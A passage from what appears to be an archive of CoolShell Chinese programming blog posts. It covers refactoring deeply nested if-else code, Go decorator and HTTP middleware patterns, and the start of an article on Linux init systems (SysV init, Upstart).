\n}\n</pre>\n<p>于是乎，在未来维护代码的时候，维护人一眼看上去就明白，代码在什么时候会执行到哪里。 这个时候，你会发现，把这些语句块抽成函数，代码会干净的更多，再重构一版：</p>\n<pre class=\"EnlighterJSRAW\">\n//重构第四版\nbool do_func3() {\n   do_before_cond2();\n   do_after_cond2();\n   return cond3;\n}\n\nbool do_func2() {\n   do_before_cond2();\n   do_after_cond2();\n   return cond2;\n}\n\nbool do_func1() {\n   do_before_cond1();\n   do_after_cond1();\n   return cond1;\n}\n\n// for-loop 你可以重构成这样\nfor (...) {\n    bool cond = do_func1();\n    if (cond) cond = do_func2();\n    if (cond) cond = do_func3();\n    if (cond) do_something();\n}\n\n// for-loop 也可以重构成这样\nfor (...) {\n    if ( ! do_func1() ) continue;\n    if ( ! do_func2() ) continue;\n    if ( ! do_func3() ) continue;\n    do_something();\n}\n</pre>\n<p>上面，我给出了两个版本的for-loop，你喜欢哪个？我喜欢第二个。这个时候，因为for-loop里的代码非常简单，就算你不喜欢 continue ，这样的代码阅读成本已经很低了。</p>\n<h4>状态检查嵌套</h4>\n<p>接下来，我们再来看另一个示例。下面的代码的伪造了一个场景——把两个人拉到一个一对一的聊天室中，因为要检查双方的状态，所以，代码可能会写成了“箭头型”。</p>\n<pre class=\"EnlighterJSRAW\">\nint ConnectPeer2Peer(Conn *pA, Conn* pB, Manager *manager)\n{\n    if ( pA-&gt;isConnected() ) {\n        manager-&gt;Prepare(pA);\n        if ( pB-&gt;isConnected() ) {\n            manager-&gt;Prepare(pB);\n            if ( manager-&gt;ConnectTogther(pA, pB) ) {\n                pA-&gt;Write(\"connected\");\n                pB-&gt;Write(\"connected\");\n                return S_OK;\n            }else{\n                return S_ERROR;\n            }\n\n        }else {\n            pA-&gt;Write(\"Peer is not Ready, waiting...\");\n            return S_RETRY;\n        }\n    }else{\n        if ( pB-&gt;isConnected() ) {\n            manager-&gt;Prepare();\n            pB-&gt;Write(\"Peer is not Ready, waiting...\");\n            return S_RETRY;\n        }else{\n            pA-&gt;Close();\n            pB-&gt;Close();\n            return S_ERROR;\n        }\n    }\n    //Shouldn't be here!\n    return S_ERROR;\n}</pre>\n<p>重构上面的代码，我们可以先分析一下上面的代码，说明了，上面的代码就是对 PeerA 和 PeerB 的两个状态 “连上”， “未连上” 做组合 “状态” （注：实际中的状态应该比这个还要复杂，可能还会有“断开”、“错误”……等等状态）， 于是，我们可以把代码写成下面这样，合并上面的嵌套条件，对于每一种组合都做出判断。这样一来，逻辑就会非常的干净和清楚。</p>\n<pre class=\"EnlighterJSRAW\">\nint ConnectPeer2Peer(Conn *pA, Conn* pB, Manager *manager)\n{\n    if ( pA-&gt;isConnected() ) {\n        manager-&gt;Prepare(pA);\n    }\n\n    if ( pB-&gt;isConnected() ) {\n        manager-&gt;Prepare(pB);\n    }\n\n    // pA = YES &amp;&amp; pB = NO\n    if (pA-&gt;isConnected() &amp;&amp; ! pB-&gt;isConnected()  ) {\n        pA-&gt;Write(\"Peer is not Ready, waiting\");\n        return S_RETRY;\n    // pA = NO &amp;&amp; pB = YES\n    }else if ( !pA-&gt;isConnected() &amp;&amp; pB-&gt;isConnected() ) {\n        pB-&gt;Write(\"Peer is not Ready, waiting\");\n        return S_RETRY;\n    // pA = YES &amp;&amp; pB = YES\n    }else if (pA-&gt;isConnected() &amp;&amp; pB-&gt;isConnected()  ) {\n        if ( ! manager-&gt;ConnectTogther(pA, pB) ) {\n            return S_ERROR;\n        }\n        pA-&gt;Write(\"connected\");\n        pB-&gt;Write(\"connected\");\n        return S_OK;\n    }\n\n    // pA = NO, pB = NO\n    pA-&gt;Close();\n    pB-&gt;Close();\n    return S_ERROR;\n}</pre>\n<h4>延伸思考</h4>\n<p>对于 <code>if-else</code> 语句来说，一般来说，就是检查两件事：<strong>错误</strong> 和 <strong>状态</strong>。</p>\n<h5>检查错误</h5>\n<p>对于检查错误来说，使用 Guard Clauses 会是一种标准解，但我们还需要注意下面几件事：</p>\n<p style=\"padding-left: 30px;\">1）当然，出现错误的时候，还会出现需要释放资源的情况。你可以使用 <code>goto fail;</code> 这样的方式，但是最优雅的方式应该是C++面向对象式的 RAII 方式。</p>\n<p style=\"padding-left: 30px;\">2）以错误码返回是一种比较简单的方式，这种方式有很一些问题，比如，如果错误码太多，判断出错的代码会非常复杂，另外，正常的代码和错误的代码会混在一起，影响可读性。所以，在更为高组的语言中，使用 <code>try-catch</code> 异常捕捉的方式，会让代码更为易读一些。</p>\n<h5>检查状态</h5>\n<p>对于检查状态来说，实际中一定有更为复杂的情况，比如下面几种情况：</p>\n<p style=\"padding-left: 30px;\">1）像TCP协议中的两端的状态变化。</p>\n<p style=\"padding-left: 30px;\">2）像shell各个命令的命令选项的各种组合。</p>\n<p style=\"padding-left: 30px;\">3）像游戏中的状态变化（一棵非常复杂的状态树）。</p>\n<p style=\"padding-left: 30px;\">4）像语法分析那样的状态变化。</p>\n<p>对于这些复杂的状态变化，其本上来说，你需要先定义一个状态机，或是一个子状态的组合状态的查询表，或是一个状态查询分析树。</p>\n<p><strong>写代码时，代码的运行中的控制状态或业务状态是会让你的代码流程变得混乱的一个重要原因，重构“箭头型”代码的一个很重要的工作就是重新梳理和描述这些状态的变迁关系</strong>。</p>\n<h4>总结</h4>\n<p>好了，下面总结一下，把“箭头型”代码重构掉的几个手段如下：</p>\n<p>1）<strong>使用 Guard Clauses </strong>。 尽可能的让出错的先返回， 这样后面就会得到干净的代码。</p>\n<p>2）<strong>把条件中的语句块抽取成函数</strong>。 有人说：“如果代码不共享，就不要抽取成函数！”，持有这个观点的人太死读书了。函数是代码的封装或是抽象，并不一定用来作代码共享使用，函数用于屏蔽细节，让其它代码耦合于接口而不是细节实现，这会让我们的代码更为简单，简单的东西都能让人易读也易维护，<strong>写出让人易读易维护的代码才是重构代码的初衷</strong>！</p>\n<p>3）<strong>对于出错处理，使用try-catch异常处理和<a href=\"http://stackoverflow.com/questions/2321511/what-is-meant-by-resource-acquisition-is-initialization-raii\" rel=\"noopener noreferrer\" target=\"_blank\">RAII机制</a></strong>。返回码的出错处理有很多问题，比如：A) 返回码可以被忽略，B) 出错处理的代码和正常处理的代码混在一起，C) 造成函数接口污染，比如像atoi()这种错误码和返回值共用的糟糕的函数。</p>\n<p>4）<strong>对于多个状态的判断和组合，如果复杂了，可以使用“组合状态表”，或是状态机加Observer的状态订阅的设计模式</strong>。这样的代码即解了耦，也干净简单，同样有很强的扩展性。</p>\n<p>5） <strong>重构“箭头型”代码其实是在帮你重新梳理所有的代码和逻辑，这个过程非常值得为之付出</strong>。重新整思路去想尽一切办法简化代码的过程本身就可以让人成长。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19612.html\"><img alt=\"50年前的登月程序和程序员有多硬核\" height=\"150\" src=\"../wp-content/uploads/2019/07/1920px-Margaret_Hamilton_-_restoration-e1563697198766-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19612.html\">50年前的登月程序和程序员有多硬核</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17929.html\"><img alt=\"Go编程模式：修饰器\" height=\"150\" src=\"../wp-content/uploads/2017/06/go-hardhat-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17929.html\">Go编程模式：修饰器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11656.html\"><img alt=\"开发团队的效率\" height=\"150\" src=\"../wp-content/uploads/2014/06/software_development-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11656.html\">开发团队的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11432.html\"><img alt=\"从Code Review 谈如何做技术\" height=\"150\" src=\"../wp-content/uploads/2014/04/code_review-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11432.html\">从Code Review 谈如何做技术</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11265.html\"><img alt=\"Python修饰器的函数式编程\" height=\"150\" src=\"../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11265.html\">Python修饰器的函数式编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17757.html\">如何重构“箭头型”代码</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2017-6-1 Go编程模式：修饰器.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-full wp-image-17945\" height=\"193\" src=\"../wp-content/uploads/2017/06/go-hardhat.png\" width=\"200\"/>之前写过一篇《<a href=\"https://coolshell.cn/articles/11265.html\" rel=\"noopener noreferrer\" target=\"_blank\">Python修饰器的函数式编程</a>》，这种模式很容易的可以把一些函数装配到另外一些函数上，可以让你的代码更为的简单，也可以让一些“小功能型”的代码复用性更高，让代码中的函数可以像乐高玩具那样自由地拼装。所以，一直以来，我对修饰器decoration这种编程模式情有独钟，这里写一篇Go语言相关的文章。</p>\n<section class=\"post-series\"><h3 class=\"post-series-title\">本文是全系列中第7 / 10篇：<a href=\"https://coolshell.cn/articles/series/go%e7%bc%96%e7%a8%8b%e6%a8%a1%e5%bc%8f\">Go编程模式</a></h3><ul class=\"post-series-list\"><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21128.html\">Go编程模式：切片，接口，时间和性能</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21140.html\">Go 编程模式：错误处理</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21146.html\">Go 编程模式：Functional Options</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21214.html\">Go编程模式：委托和反转控制</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21164.html\">Go编程模式：Map-Reduce</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21179.html\">Go 编程模式：Go Generation</a></span></li><li class=\"post-series-item-current post-series-item\"><span class=\"post-series-item-title\">Go编程模式：修饰器</span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21228.html\">Go编程模式：Pipeline</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21263.html\">Go 编程模式：k8s Visitor 模式</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21615.html\">Go编程模式 ： 泛型编程</a></span></li></ul><nav class=\"post-series-nav\"><span class=\"post-series-nav-prev\">« <a href=\"https://coolshell.cn/articles/21179.html\" rel=\"prev\" title=\"Go 编程模式：Go Generation\">上一篇文章</a></span><span class=\"post-series-nav-next\"><a href=\"https://coolshell.cn/articles/21228.html\" rel=\"next\" title=\"Go编程模式：Pipeline\">下一篇文章</a> »</span></nav></section>\n<p>看过<a href=\"https://coolshell.cn/articles/11265.html\" rel=\"noopener noreferrer\" target=\"_blank\">Python修饰器</a>那篇文章的同学，一定知道这是一种函数式编程的玩法——用一个高阶函数来包装一下。多唠叨一句，关于函数式编程，可以参看我之前写过一篇文章《<a href=\"https://coolshell.cn/articles/10822.html\" rel=\"noopener noreferrer\" target=\"_blank\">函数式编程</a>》，这篇文章主要是，想通过从过程式编程的思维方式过渡到函数式编程的思维方式，从而带动更多的人玩函数式编程，所以，如果你想了解一下函数式编程，那么可以移步先阅读一下。所以，Go语言的修饰器编程模式，其实也就是函数式编程的模式。</p>\n<p>不过，要提醒注意的是，Go 语言的“糖”不多，而且又是强类型的静态无虚拟机的语言，所以，无法做到像 Java 和 Python 那样的优雅的修饰器的代码。当然，也许是我才才疏学浅，如果你知道有更多的写法，请你一定告诉我。先谢过了。<br/>\n<span id=\"more-17929\"></span></p>\n<h4>简单示例</h4>\n<p>我们先来看一个示例：</p>\n<pre class=\"EnlighterJSRAW\">package main\n\nimport \"fmt\"\n\nfunc decorator(f func(s string)) func(s string) {\n\n    return func(s string) {\n        fmt.Println(\"Started\")\n        f(s)\n        fmt.Println(\"Done\")\n    }\n}\n\nfunc Hello(s string) {\n    fmt.Println(s)\n}\n\nfunc main() {\n        decorator(Hello)(\"Hello, World!\")\n}</pre>\n<p>我们可以看到，我们动用了一个高阶函数 <code>decorator()</code>，在调用的时候，先把 <code>Hello()</code> 函数传进去，然后其返回一个匿名函数，这个匿名函数中除了运行了自己的代码，也调用了被传入的 <code>Hello()</code> 函数。</p>\n<p>这个玩法和 Python 的异曲同工，只不过，有些遗憾的是，Go 并不支持像 Python 那样的 <code>@decorator</code> 语法糖。所以，在调用上有些难看。当然，如果你要想让代码容易读一些，你可以这样：</p>\n<pre class=\"EnlighterJSRAW\">hello := decorator(Hello)\nhello(\"Hello\")</pre>\n<p>我们再来看一个和计算运行时间的例子：</p>\n<pre class=\"EnlighterJSRAW\">package main\n\nimport (\n  \"fmt\"\n  \"reflect\"\n  \"runtime\"\n  \"time\"\n)\n\ntype SumFunc func(int64, int64) int64\n\nfunc getFunctionName(i interface{}) string {\n  return runtime.FuncForPC(reflect.ValueOf(i).Pointer()).Name()\n}\n\nfunc timedSumFunc(f SumFunc) SumFunc {\n  return func(start, end int64) int64 {\n\n    defer func(t time.Time) {\n      fmt.Printf(\"--- Time Elapsed (%s): %v ---\\n\", \n          getFunctionName(f), time.Since(t))\n    }(time.Now())\n\n    return f(start, end)\n  }\n}\n\nfunc Sum1(start, end int64) int64 {\n  var sum int64\n  sum = 0\n  if start &gt; end {\n    start, end = end, start\n  }\n  for i := start; i &lt;= end; i++ {\n    sum += i\n  }\n  return sum\n}\n\nfunc Sum2(start, end int64) int64 {\n  if start &gt; end {\n    start, end = end, start\n  }\n  return (end - start + 1) * (end + start) / 2\n}\n\nfunc main() {\n\n  sum1 := timedSumFunc(Sum1)\n  sum2 := timedSumFunc(Sum2)\n\n  fmt.Printf(\"%d, %d\\n\", sum1(-10000, 10000000), sum2(-10000, 10000000))\n}</pre>\n<p>关于上面的代码，有几个事说明一下：</p>\n<p>1）有两个 Sum 函数，<code>Sum1()</code> 函数就是简单的做个循环，<code>Sum2()</code> 函数动用了数据公式。（注意：start 和 end 有可能有负数的情况）</p>\n<p>2）代码中使用了 Go 语言的反射机器来获取函数名。</p>\n<p>3）修饰器函数是 <code>timedSumFunc()</code></p>\n<p>运行后输出：</p>\n<pre class=\"EnlighterJSRAW\">$ go run time.sum.go\n--- Time Elapsed (main.Sum1): 3.557469ms ---\n--- Time Elapsed (main.Sum2): 291ns ---\n49999954995000, 49999954995000\n</pre>\n<h4>HTTP 相关的一个示例</h4>\n<p>我们再来看一个处理 HTTP 请求的相关的例子。</p>\n<p>先看一个简单的 HTTP Server 的代码。</p>\n<pre class=\"EnlighterJSRAW\">package main\n\nimport (\n    \"fmt\"\n    \"log\"\n    \"net/http\"\n    \"strings\"\n)\n\nfunc WithServerHeader(h http.HandlerFunc) http.HandlerFunc {\n    return func(w http.ResponseWriter, r *http.Request) {\n        log.Println(\"---&gt;WithServerHeader()\")\n        w.Header().Set(\"Server\", \"HelloServer v0.0.1\")\n        h(w, r)\n    }\n}\n\nfunc hello(w http.ResponseWriter, r *http.Request) {\n    log.Printf(\"Recieved Request %s from %s\\n\", r.URL.Path, r.RemoteAddr)\n    fmt.Fprintf(w, \"Hello, World! \"+r.URL.Path)\n}\n\nfunc main() {\n    http.HandleFunc(\"/v1/hello\", WithServerHeader(hello))\n    err := http.ListenAndServe(\":8080\", nil)\n    if err != nil {\n        log.Fatal(\"ListenAndServe: \", err)\n    }\n}</pre>\n<p>上面代码中使用到了修饰模式，<code>WithServerHeader()</code> 函数就是一个 Decorator，其传入一个 <code>http.HandlerFunc</code>，然后返回一个改写的版本。上面的例子还是比较简单，用 <code>WithServerHeader()</code> 就可以加入一个 Response 的 Header。</p>\n<p>于是，这样的函数我们可以写出好些个。如下所示，有写 HTTP 响应头的，有写认证 Cookie 的，有检查认证Cookie的，有打日志的……</p>\n<pre class=\"EnlighterJSRAW\">package main\n\nimport (\n    \"fmt\"\n    \"log\"\n    \"net/http\"\n    \"strings\"\n)\n\nfunc WithServerHeader(h http.HandlerFunc) http.HandlerFunc {\n    return func(w http.ResponseWriter, r *http.Request) {\n        log.Println(\"---&gt;WithServerHeader()\")\n        w.Header().Set(\"Server\", \"HelloServer v0.0.1\")\n        h(w, r)\n    }\n}\n\nfunc WithAuthCookie(h http.HandlerFunc) http.HandlerFunc {\n    return func(w http.ResponseWriter, r *http.Request) {\n        log.Println(\"---&gt;WithAuthCookie()\")\n        cookie := &amp;http.Cookie{Name: \"Auth\", Value: \"Pass\", Path: \"/\"}\n        http.SetCookie(w, cookie)\n        h(w, r)\n    }\n}\n\nfunc WithBasicAuth(h http.HandlerFunc) http.HandlerFunc {\n    return func(w http.ResponseWriter, r *http.Request) {\n        log.Println(\"---&gt;WithBasicAuth()\")\n        cookie, err := r.Cookie(\"Auth\")\n        if err != nil || cookie.Value != \"Pass\" {\n            w.WriteHeader(http.StatusForbidden)\n            return\n        }\n        h(w, r)\n    }\n}\n\nfunc WithDebugLog(h http.HandlerFunc) http.HandlerFunc {\n    return func(w http.ResponseWriter, r *http.Request) {\n        log.Println(\"---&gt;WithDebugLog\")\n        r.ParseForm()\n        log.Println(r.Form)\n        log.Println(\"path\", r.URL.Path)\n        log.Println(\"scheme\", r.URL.Scheme)\n        log.Println(r.Form[\"url_long\"])\n        for k, v := range r.Form {\n            log.Println(\"key:\", k)\n            log.Println(\"val:\", strings.Join(v, \"\"))\n        }\n        h(w, r)\n    }\n}\nfunc hello(w http.ResponseWriter, r *http.Request) {\n    log.Printf(\"Recieved Request %s from %s\\n\", r.URL.Path, r.RemoteAddr)\n    fmt.Fprintf(w, \"Hello, World! \"+r.URL.Path)\n}\n\nfunc main() {\n    http.HandleFunc(\"/v1/hello\", WithServerHeader(WithAuthCookie(hello)))\n    http.HandleFunc(\"/v2/hello\", WithServerHeader(WithBasicAuth(hello)))\n    http.HandleFunc(\"/v3/hello\", WithServerHeader(WithBasicAuth(WithDebugLog(hello))))\n    err := http.ListenAndServe(\":8080\", nil)\n    if err != nil {\n        log.Fatal(\"ListenAndServe: \", err)\n    }\n}</pre>\n<h4>多个修饰器的 Pipeline</h4>\n<p>在使用上，需要对函数一层层的套起来，看上去好像不是很好看，如果需要 decorator 比较多的话，代码会比较难看了。嗯，我们可以重构一下。</p>\n<p>重构时，我们需要先写一个工具函数——用来遍历并调用各个 decorator：</p>\n<pre class=\"EnlighterJSRAW\">type HttpHandlerDecorator func(http.HandlerFunc) http.HandlerFunc\n\nfunc Handler(h http.HandlerFunc, decors ...HttpHandlerDecorator) http.HandlerFunc {\n    for i := range decors {\n        d := decors[len(decors)-1-i] // iterate in reverse\n        h = d(h)\n    }\n    return h\n}</pre>\n<p>然后，我们就可以像下面这样使用了。</p>\n<pre class=\"EnlighterJSRAW\">http.HandleFunc(\"/v4/hello\", Handler(hello,\n                WithServerHeader, WithBasicAuth, WithDebugLog))</pre>\n<p>这样的代码是不是更易读了一些？pipeline 的功能也就出来了。</p>\n<h4>泛型的修饰器</h4>\n<p>不过，对于 Go 的修饰器模式，还有一个小问题 —— 好像无法做到泛型，就像上面那个计算时间的函数一样，其代码耦合了需要被修饰的函数的接口类型，无法做到非常通用，如果这个事解决不了，那么，这个修饰器模式还是有点不好用的。</p>\n<p>因为 Go 语言不像 Python 和 Java，Python是动态语言，而 Java 有语言虚拟机，所以他们可以干好些比较变态的事，然而 Go 语言是一个静态的语言，这意味着其类型需要在编译时就要搞定，否则无法编译。不过，Go 语言支持的最大的泛型是 <code>interface{}</code> 还有比较简单的 reflection 机制，在上面做做文章，应该还是可以搞定的。</p>\n<p>废话不说，下面是我用 reflection 机制写的一个比较通用的修饰器（为了便于阅读，我删除了出错判断代码）</p>\n<pre class=\"EnlighterJSRAW\">func Decorator(decoPtr, fn interface{}) (err error) {\n    var decoratedFunc, targetFunc reflect.Value\n\n    decoratedFunc = reflect.ValueOf(decoPtr).Elem()\n    targetFunc = reflect.ValueOf(fn)\n\n    v := reflect.MakeFunc(targetFunc.Type(),\n            func(in []reflect.Value) (out []reflect.Value) {\n                fmt.Println(\"before\")\n                out = targetFunc.Call(in)\n                fmt.Println(\"after\")\n                return\n            })\n\n    decoratedFunc.Set(v)\n    return\n}</pre>\n<p>上面的代码动用了 <code>reflect.MakeFunc()</code> 函数制出了一个新的函数其中的 <code>targetFunc.Call(in)</code> 调用了被修饰的函数。关于 Go 语言的反射机制，推荐官方文章 —— 《<a href=\"https://blog.golang.org/laws-of-reflection\" rel=\"noopener noreferrer\" target=\"_blank\">The Laws of Reflection</a>》，在这里我不多说了。</p>\n<p>上面这个 <code>Decorator()</code> 需要两个参数，</p>\n<ul>\n<li>第一个是出参 <code>decoPtr</code> ，就是完成修饰后的函数</li>\n<li>第二个是入参 <code>fn</code> ，就是需要修饰的函数</li>\n</ul>\n<p>这样写是不是有些二？的确是的。不过，这是我个人在 Go 语言里所能写出来的最好的的代码了。如果你知道更多优雅的，请你一定告诉我！</p>\n<p>好的，让我们来看一下使用效果。首先假设我们有两个需要修饰的函数：</p>\n<pre class=\"EnlighterJSRAW\">func foo(a, b, c int) int {\n    fmt.Printf(\"%d, %d, %d \\n\", a, b, c)\n    return a + b + c\n}\n\nfunc bar(a, b string) string {\n    fmt.Printf(\"%s, %s \\n\", a, b)\n    return a + b\n}</pre>\n<p>然后，我们可以这样做：</p>\n<pre class=\"EnlighterJSRAW\">type MyFoo func(int, int, int) int\nvar myfoo MyFoo\nDecorator(&amp;myfoo, foo)\nmyfoo(1, 2, 3)\n</pre>\n<p>你会发现，使用 <code>Decorator()</code> 时，还需要先声明一个函数签名，感觉好傻啊。一点都不泛型，不是吗？</p>\n<p>嗯。如果你不想声明函数签名，那么你也可以这样</p>\n<pre class=\"EnlighterJSRAW\">mybar := bar\nDecorator(&amp;mybar, bar)\nmybar(\"hello,\", \"world!\")</pre>\n<p>好吧，看上去不是那么的漂亮，但是 it works。看样子 Go 语言目前本身的特性无法做成像 Java 或 Python 那样，对此，我们只能多求 Go 语言多放糖了！</p>\n<p>Again， 如果你有更好的写法，请你一定要告诉我。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21164.html\"><img alt=\"Go编程模式：Map-Reduce\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.map_.reduce-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21164.html\">Go编程模式：Map-Reduce</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21146.html\"><img alt=\"Go 编程模式：Functional Options\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.options-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21146.html\">Go 编程模式：Functional Options</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11265.html\"><img alt=\"Python修饰器的函数式编程\" height=\"150\" src=\"../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11265.html\">Python修饰器的函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21615.html\"><img alt=\"Go编程模式 ： 泛型编程\" height=\"150\" src=\"../wp-content/uploads/2021/09/go-generics-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21615.html\">Go编程模式 ： 泛型编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21263.html\"><img alt=\"Go 编程模式：k8s Visitor 模式\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.k8s-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21263.html\">Go 编程模式：k8s Visitor 模式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21228.html\"><img alt=\"Go编程模式：Pipeline\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.line_.-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21228.html\">Go编程模式：Pipeline</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17929.html\">Go编程模式：修饰器</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2017-7-16 Linux PID 1 和 Systemd.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-full\" height=\"183\" src=\"../wp-content/uploads/2017/07/systemd.jpeg\" width=\"275\"/>要说清 Systemd，得先从Linux操作系统的启动说起。Linux 操作系统的启动首先从 BIOS 开始，然后由 Boot Loader 载入内核，并初始化内核。内核初始化的最后一步就是启动 init 进程。这个进程是系统的第一个进程，PID 为 1，又叫超级进程，也叫根进程。它负责产生其他所有用户进程。所有的进程都会被挂在这个进程下，如果这个进程退出了，那么所有的进程都被 kill 。如果一个子进程的父进程退了，那么这个子进程会被挂到 PID 1 下面。（注：PID 0 是内核的一部分，主要用于内进换页，参看：<a href=\"http://en.wikipedia.org/wiki/Process_identifier\" rel=\"noopener noreferrer\" target=\"_blank\">Process identifier</a>）</p>\n<h4>SysV Init</h4>\n<p>PID 1 这个进程非常特殊，其主要就任务是把整个操作系统带入可操作的状态。比如：启动 UI – Shell 以便进行人机交互，或者进入 X 图形窗口。传统上，PID 1 和传统的 Unix System V 相兼容的，所以也叫 <code>sysvinit</code>，这是使用得最悠久的 init 实现。Unix System V 于1983年 release。</p>\n<p>在 <code>sysvint</code> 下，有好几个运行模式，又叫 <code>runlevel</code>。比如：常见的 3 级别指定启动到多用户的字符命令行界面，5 级别指定启起到图形界面，0 表示关机，6 表示重启。其配置在 <code>/etc/inittab</code> 文件中。</p>\n<p><span id=\"more-17998\"></span></p>\n<p>与此配套的还有 <code>/etc/init.d/</code> 和 <code>/etc/rc[X].d</code>，前者存放各种进程的启停脚本（需要按照规范支持 <code>start</code>，<code>stop</code>子命令），后者的 X 表示不同的 runlevel 下相应的后台进程服务，如：<code>/etc/rc3.d</code> 是 runlevel=3 的。 里面的文件主要是 link 到  <code>/etc/init.d/</code> 里的启停脚本。其中也有一定的命名规范：S 或 K 打头的，后面跟一个数字，然后再跟一个自定义的名字，如：<code>S01rsyslog</code>，<code>S02ssh</code>。S 表示启动，K表示停止，数字表示执行的顺序。</p>\n<h4>UpStart</h4>\n<p>Unix 和 Linux 在 <code>sysvint</code> 运作多年后，大约到了2006年的时候，Linux内核进入2.6时代，Linux有了很多更新。并且，Linux开始进入桌面系统，而桌面系统和服务器系统不一样的是，桌面系统面临频繁重启，而且，用户会非常频繁的使用硬件的热插拔技术。于是，这些新的场景，让 <code>sysvint</code> 受到了很多挑战。</p>\n<p>比如，打印机需要CUPS等服务进程，但是如果用户没有打机印，启动这个服务完全是一种浪费，而如果不启动，如果要用打印机了，就无法使用，因为<code>sysvint</code> 没有自动检测的机制，它只能一次性启动所有的服务。另外，还有网络盘挂载的问题。在 <code>/etc/fstab</code> 